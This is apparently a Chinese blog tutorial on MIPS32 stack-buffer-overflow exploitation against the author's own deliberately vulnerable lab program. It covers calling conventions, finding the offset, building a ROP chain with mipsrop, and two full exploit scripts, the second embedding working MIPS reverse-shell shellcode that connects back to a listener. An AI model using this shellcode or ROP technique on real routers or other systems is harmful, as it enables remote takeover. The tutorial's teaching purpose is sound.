当前位置: 首页 > 技术干货 > MIPS栈溢出:ROP构造与Shellocde注入

MIPS栈溢出:ROP构造与Shellocde注入

发表于:2025-05-09 17:18 作者: 秋名山上的小柠 阅读数(28人)

0.前言

前段时间写了DVRF系列的题目,对rop的构造感觉还是有点力不从心,所以深入学习一下怎么构造rop链

注意,全程复现应该用ubuntu16.04,不要用18.04或者20.04,不然很有可能会导致后面的gadget找不到

程序至少也要在ubuntu16.04交叉编译,不然直接在ubuntu18.04或者更高版本下,都有可能有gadget找不到的后果....

1.MIPS32架构堆栈

跟一般的x86架构不同,mips32架构的函数调用方式与x86系统有很大差别,比如说

  • mips没有栈底指针,也就是ebp,所以当函数进栈的时候,都是需要将当前指针向下移动n个比特,也就是该函数在堆栈空间所存储的大小n,后面就不再移动指针了,只能在函数返回时将栈指针加上偏移量去恢复栈现场,所以寄存器压栈和出栈的时候都需要指明偏移量

  • 参数传递的方式也跟x86不一样,x86是直接压入栈中,而mips是前4个传入的参数通过$a0-$a3寄存器传递,如果参数超过了4个,那么多余的参数会放入调用参数空间

  • 返回地址也不一样,x86调用函数,就是把函数的返回地址压入堆栈中,而mips是把返回地址放入到$ra寄存器中

2.MIPS函数调用

这里引入一个概念叶子函数和非叶子函数

如果一个函数A中不在调用其他任何函数,那么当前函数A就是一个叶子函数,否则就是非叶子函数

当函数A调用函数B的时候:

  • 首先,call指令会复制当前$PC寄存器的值到$RA寄存器中,然后再跳转到B函数并执行

  • 然后这里要判断B函数是否是叶子函数:

    • 如果是非叶子函数,那么是会把放在$RA寄存器中的函数A的返回地址放到堆栈中

    • 如果是叶子函数,那就不用动,函数A的返回地址还是在$RA寄存器中

  • 函数B执行完之后要返回到函数A时

    • 如果是非叶子函数,就要先从堆栈中把函数A的返回地址取出来,然后存到寄存器$RA中,再使用jr $ra跳转到函数A

    • 如何函数B是叶子函数,就直接jr $ra返回函数A

2.1 函数调用参数传递

#include<stdio.h>
int test(int a,int b,int c,int d,int e,int f,int g);
int main()
{
   int v1=0;
   int v2=1;
   int v3=2;
   int v4=3;
   int v5=4;
   int v6=5;
   int v7=6;
   test(v1,v2,v3,v4,v5,v6,v7);
   return 0;
}
int test(int a, int b, int c, int d, int e, int f, int g)
{
   char s[50]={0};
   sprintf(s,"%d%d%d%d%d%d%d",a,b,c,d,e,f,g);
}

根据刚刚所说的,test函数中有7个参数,前4个参数存放在$a0-$a3寄存器中,后3个参数放入main函数栈顶预留调用参数空间中

在ida静态分析可以看出,main函数分配了7个临时变量

其中var_10-var_1C都是要放在$a0-$a3寄存器中,而剩下的var_30,var_34,var_38要从临时变量取出,存储到main函数预留的调用参数空间

动态调试看看,在sprintf函数处下个断点,那边ubuntu开启qemu模拟,这边ida远程动态链接

sudo chroot . ./qemu-mips-static -g 1234  ./mips-test

main调用test(v1-v7)时,调用者main会先将前4个参数正序存入$a0-$a3寄存器,再将第5-7个参数按正序压入自己的栈空间,低地址对应v5,高地址递增存放v6v7

test内部调用sprintf需要传递9个参数时,test会自行将前4个参数正序存入$a0-$a3,剩余5个参数按正序压入自己的新栈空间,整个过程参数始终按源码中的从左到右顺序传递,且每个函数仅操作自己的寄存器或栈空间,不会涉及其他函数的栈帧,而main 传递的 $a0-$a3,也就是v1-v4test 调用 sprintf 时被覆盖,但这些值已通过寄存器或 test 的局部变量(a, b, c, d)保存,因此不会丢失

在 MIPS 调用约定中,main 函数通常不会主动取出或恢复存放到寄存器 $a0-$a3 中的参数值

以下这张图堆栈图是上述程序代码中,main函数调用了test函数之后,还需要原来的寄存器$a0-$a3的值,才会把4个寄存器压入到栈中

2.2 MIPS缓冲区溢出

x86架构下,返回地址一般是放入到堆栈中,所以栈溢出可以劫持程序的执行流

mips架构函数的返回地址一般都是在$ra寄存器中,同样也有栈溢出的风险

非叶子函数

#include<stdio.h>
void stack(char *src){
   char a[20]={0};
   strcpy(a,src);
}
int main(int argc,char *argv[]){
   stack(argv[1]);
   return 0;
}

由前文所知,stack函数是个非叶子函数,所以进入stack函数之后会把main函数的返回地址放入到自己的堆栈底部中,在返回main函数的时候,就会取出堆栈中的返回地址并写入$ra寄存器,然后跳转到main函数

所以如果stack函数的局部变量发生缓冲区溢出,就有可能覆盖掉main函数的返回地址,从而被劫持程序执行流,这一点跟x86是一样的

叶子函数

#include<stdio.h>
void stack(char *src, int count){
   char s[20]={0};
   int i=0;
   for(i=0;i<count;i++){
       s[i]=src[i];
  }
}
int main(int argc,char *argv[])
{
   int count=strlen(argv[1]);
   stack(argv[1],count);
   return 0;
}

由前文所述,stack函数此时是个叶子函数,main函数的返回地址并不会存放到stack函数自己的堆栈空间中,而是放到了$ra寄存器中,所以在ida显示的汇编语言中,可以看到stack函数在执行最末尾的jr $ra指令之前,都没有对$ra寄存器有任何的操作

所以如果按照x86或者非叶子函数那样的溢出方法,是无法覆盖掉main函数的返回地址的,因为无法操作寄存器$ra

但是呢,如果缓冲区溢出覆盖区域足够大,大到能覆盖掉main函数栈帧中存放的上层函数的返回地址,因为main函数也是个非叶子函数,上层函数的返回地址被main函数放在它自己的堆栈中,所以叶子函数也是可以存在缓冲区溢出的风险的,只要覆盖的数据足够大

举一个完整的例子

#include<stdio.h>
#include<sys/stat.h>
#include<unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count=0;
unsigned int fileLen=0;
struct stat fileData;
FILE *fp;
if(0==stat("passwd",&fileData))
fileLen=fileData.st_size;
else
return 1;
if((fp=fopen("passwd","rb"))==NULL)
{
printf("Cannot open file passwd!\n");
exit(1);
}
ch=fgetc(fp);
while(count<=fileLen)
{
buf[count++]=ch;
ch=fgetc(fp);
}
buf[--count]='\x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -L");
}
else
{
printf("you have an invalid passord!\n");
}
fclose(fp);
}

危险函数do_system是一个非叶子函数,main函数也是一个非叶子函数

具体功能是从passwd文件中读取密码,如果密码是"adminpwd",就列出当前目录,否则就显示密码错误并退出程序

创建一个passwd文件然后向其写入500个垃圾数据,然后运行qemu编译过的程序,可以发现程序报错了

python -c "print 'A'*500" > passwd

所以开启一个端口进行远程动态调试,因为ubuntu18.04的原因,导致pwndbg一直报错,无奈只能ida进行远程动态调试了

所以这里配置主要就是ubuntu16.04和ida pro 7.5

不用下断点,直接动态运行,让其崩溃,看看那500个垃圾数据是否能覆盖到内存空间里面

注意这里要关闭掉各种保护,特别是canary保护,不然垃圾数据覆盖不了

mips-linux-gnu-gcc -g -fno-stack-protector -no-pie -fno-pie -z execstack vuln_system.c -static -o vuln_system
sudo chroot . ./qemu-mips-static -g 1234 ./vuln_system

可以看到不仅是内存空间,就连PC寄存器,$ra寄存器,堆栈空间都被覆盖成了垃圾数据,所以这里肯定有栈溢出漏洞,毕竟PC都已经被劫持了

确定可以劫持PC之后,就要精准确定多少字节可以使PC指向期望的地址,也就是要确定偏移量

一般来说用大型字符脚本去确定,通过建立大型字符,然后任取4连续4位,这4位的值在大型字符里面是唯一的,找出覆盖到PC的4个字符在字符集合里面的偏移就可以找到偏移量,通常都是用patternLocOffset.py这个脚本去进行确定

patternLocOffset.py

生成1000个垃圾字符到passwd

python patternLocOffset.py -c -l 1000 -f passwd

然后ida动态远程调试,直接让其崩溃,确定PC的地址

可以看到$ra寄存器崩溃的位置在0x34416e35的位置,然后再用patternLocOffset.py去通过劫持的PC地址确定精准偏移量

python patternLocOffset.py -s 0x34416e35 -l 1000

也就是填充404(0x194h)个字节后就可以精准劫持PC了

验证一下

python2 -c "print 'A'*0x194+'BBBBCCCC'" > passwd

可以看到PC和$ra寄存器已经被覆盖成我们想要的BBBBCCCC地址了,这说明404个字节是没错的

确定偏移还有一种方法是栈帧分析,通俗来讲就是静态分析,通过ida显示的数据进行计算得到偏移量

但是我不推荐这种方法,虽然网上还有书上都说可以,但其实我自己去复现了之后发现是行不通的,偏差差太多了,有可能是ida的缘故,也有可能是程序本身在编译的过程中受不同环境影响而偏差,比如说上述例子代码在ida静态分析中计算出来的偏移量就和动态分析出来的不一致,这种情况下还是要以动态的为主,那干脆就一步到位直接动态去确定偏移量就没错了

确定好偏移量之后,就可以确定攻击途径了

根据源代码,该漏洞可以用命令执行,毕竟有一个do_system()函数,或者写shellcode进行攻击

2.2.1 命令执行

这里先介绍命令执行攻击

所以就得跟x86一样构造ROP链,do_system(count,"ls -L")函数有两个参数,由IDA可知其地址为0x00400880

根据前文所说,我们需要找到可以把参数放入$a0$a1寄存器的gadget

而count是固定字符串,所以只需要找到$a1寄存器的gadget即可

直接在ubuntu用ROPgadget找$a1寄存器的gadget找出来一大堆,而且感觉ROPgadget用来找mips架构的不太好找,不像x86_x64那么方便

所以直接在ida用mipsrop找了

下面这张图是用ubuntu16.04进行mips的交叉编译之后得到的程序所找的gadget,一共是19个gadget

而在此之前,我用了ubuntu18.04进行mips交叉编译得到程序去寻找gadget,只能找到13个

虽然两者都只能找到3个有关$a1寄存器的gadget,但是呢ubuntu18.04那边的gadget最后都只跟$t9寄存器相关

虽说$t9寄存器的值是MIPS程序的函数的起始地址,也就是说MIPS的函数执行机制要求$t9寄存器必须指向当前函数的入口地址,也就是说理论上$t9寄存器可替代$ra控制程序流,但是那得先确保程序中通过 jalr $t9或者类似指令跳转的代码,比如说动态连接函数调用,并且我们还能控制$t9寄存器的值

又或者$t9寄存器的值被保存到堆栈中,且该值可被覆盖,那么这些都是可以控制$t9达到$ra的目的的条件,但很明显,这个例子不具备上述条件,所以自然攻击失败

mipsrop.stackfinders()是一个针对 MIPS二进制文件 的辅助分析命令,帮助漏洞利用开发者快速定位与栈操作相关的ROP gadget

由上到下,我们就选取最后一共0x004474BC地址的gadget,因为其他的gadget要么没有$ra寄存器跳转,要么中间隔得十分远,所以最后一个是最合适的

从gadget看出,我们只要在$sp+0x54+var_3C中构造好字符串,$a1寄存器便可输入我们想要的命令字符串,然后在jr $ra语句时把$ra寄存器覆盖成跳转到do_system函数的地址也就是0x00400A80即可完成整个payload

payload:

exp.py:

import struct

print("[*] prepare shellcode")

cmd = "sh"
cmd += "\00"*(4-(len(cmd) %4))  # 栈对齐
shellcode = "A"*0x194
shellcode += struct.pack(">L",0x004474BC)
shellcode += "A"*0x18 #0x18=24
shellcode += cmd
shellcode += "B"*(0x3C - len(cmd))
shellcode += struct.pack(">L", 0x00400A80)
print("OK!")

print("[+] create password file")
fw = open('passwd','w')
fw.write(shellcode)
fw.close()
print("ok")

2.2.2 Shellcode

所谓的shellcode就是在缓冲区溢出攻击中植入进程的代码,可以获取shell,执行命令,开启端口等等

一般来说,我们要获取shellcode要么网上搜,要么自己写一个C程序编译后反编译提取汇编指令

而由上述的分析可知,vuln_system存在缓冲区溢出且可以造成命令注入,所以如果要用shellcode攻击的话,可以用execve shellcode让嵌入shellcode的程序运行一个应用程序

但是shellcode可能会遇到NULL的限制导致复制到缓冲区的shellcode是不完整的,所以得进行优化一波,避免出现NULL这样的坏字符

我们还可以建立一个反向连接的shellcode,用来在一个被攻击系统和另一个系统之间建立连接,然后把execve shellcode注入进去,达到命令注入攻击的目的

那就需要socket connect dup2和execve 的shellcode,然后使用NetCat工具,也就是我们常说的NC进行端口监听,看看shellcode有没有成功注入进去

但是这里如果用windows版的nc,都会被Windows defender给杀掉.......最后换了kali,同时要保证kali和ubuntu之间能ping通

通过最开始垃圾数据命令可知,再把0x194个A覆盖后,B覆盖了$ra寄存器和pc寄存器,而C覆盖了后面的地址

所以可以利用C覆盖的这部分地址把B覆盖的放返回地址的寄存器给覆盖了,挟持程序执行流到C覆盖处,而C覆盖处就写入编写好的shellcode

当前栈顶的值是0x7FFFEF90,但是这个堆栈是变化的,所以每一次测试都得重新定位

完整exp_shellcode.py:

import struct
import socket
def makeshellcode(hostip,port):
   host=socket.ntohl(struct.unpack('I',socket.inet_aton(hostip))[0])
   hosts=struct.unpack('cccc',struct.pack('>L',host))
   ports=struct.unpack('cccc',struct.pack('>L',port))
   mipshell="\x24\x0f\xff\xfa" #li t7,-6
   mipshell+="\x01\xe0\x78\x27" #nor t7,t7,zero
   mipshell+="\x21\xe4\xff\xfd" #addi a0,t7,-3
   mipshell+="\x21\xe5\xff\xfd" #addi a1,t7,-3
   mipshell+="\x28\x06\xff\xff" #slti a2,zero,-1
   mipshell+="\x24\x02\x10\x57" #li v0,4183 #sys_socket
   mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
   mipshell+="\xaf\xa2\xff\xff" #sw v0,-1(sp)
   mipshell+="\x8f\xa4\xff\xff" #lw a1,-1(sp)
   mipshell+="\x34\x0f\xff\xfd" #li t7,0xfffd
   mipshell+="\x01\xe0\x78\x27" #nor t7,t7 zero
   mipshell+="\xaf\xaf\xff\xe0" #sw t7,-32(sp)
   mipshell+="\x3c\x0e"+struct.pack('2c',ports[2],ports[3]) #lui t6,0x1f90
   mipshell+="\x35\xce"+struct.pack('2c',ports[2],ports[3]) #ori t6,t6,0x1f90
   mipshell+="\xaf\xae\xff\xe4" #sw t6,-28(sp)
   mipshell+="\x3c\x0e"+struct.pack('2c',hosts[0],hosts[1]) #lui t6,0x7f01
   mipshell+="\x35\xce"+struct.pack('2c',hosts[2],hosts[3]) #ori t6,t6,0x101
   mipshell+="\xaf\xae\xff\xe6" #sw t6,-26(sp)
   mipshell+="\x27\xa5\xff\xe2" #addiu a1,sp,-30
   mipshell+="\x24\x0c\xff\xef" #li t4,-17
   mipshell+="\x01\x80\x30\x27" #nor a2,t4,zero
   mipshell+="\x24\x02\x10\x4a" #li v0,4170 #sys_connect
   mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
   mipshell+="\x24\x11\xff\xfd" #li s1,-3
   mipshell+="\x02\x20\x88\x27" #nor s1,s1,zero
   mipshell+="\x8f\xa4\xff\xff" #lw a0,-1(sp)
   mipshell+="\x02\x20\x28\x21" #move a1,s1 #dup2_loop
   mipshell+="\x24\x02\x0f\xdf" #li v0,4063 #sys_dup2
   mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
   mipshell+="\x24\x10\xff\xff" #li s0,-1
   mipshell+="\x22\x31\xff\xff" #addi s1,s1,-1
   mipshell+="\x16\x30\xff\xfa" #bne s1,s0,68 <dup2_loop>
   mipshell+="\x28\x06\xff\xff" #slti a2,zero,-1
   mipshell+="\x3c\x0f\x2f\x2f" #lui t7,0x2f2f "//"
   mipshell+="\x35\xef\x62\x69" #ori t7,t7,0x6269 "bi"
   mipshell+="\xaf\xaf\xff\xec" #sw t7,-20(sp)
   mipshell+="\x3c\x0e\x6e\x2f" #lui t6,0x6e2f "n/"
   mipshell+="\x35\xce\x73\x68" #ori t6,t6,0x7368 "sh"
   mipshell+="\xaf\xae\xff\xf0" #sw t6,-16(sp)
   mipshell+="\xaf\xa0\xff\xf4" #sw zero,-12(sp)
   mipshell+="\x27\xa4\xff\xec" #addiu a0,sp,-20
   mipshell+="\xaf\xa4\xff\xf8" #sw a0,-8(sp)
   mipshell+="\xaf\xa0\xff\xfc" #sw zero,-4(sp)
   mipshell+="\x27\xa5\xff\xf8" #addiu a1,sp,-8
   mipshell+="\x24\x02\x0f\xab" #li v0,4011 #sys_execve
   mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
   return mipshell
if __name__ == '__main__':
   print '[*] prapare shellcode',
   cmd="sh"
   cmd+="\x00"*(4-(len(cmd)%4))
   payload="a"*0x194
   payload+=struct.pack(">L",0x7ffff5d0)
   payload+=makeshellcode('192.168.119.149',8888)
   print ' ok'
   print '[+]create password file',
   fw=open('passwd','w')
   fw.write(payload)
   fw.close()
   print ' ok'

ubuntu现在停止不动了,但是shellcode已经执行完成了,可以在nc那边输入命令看到

这里端口号4444我试了很多次,均监听不到,后来改为8888就可以了,猜测有可能是端口占用了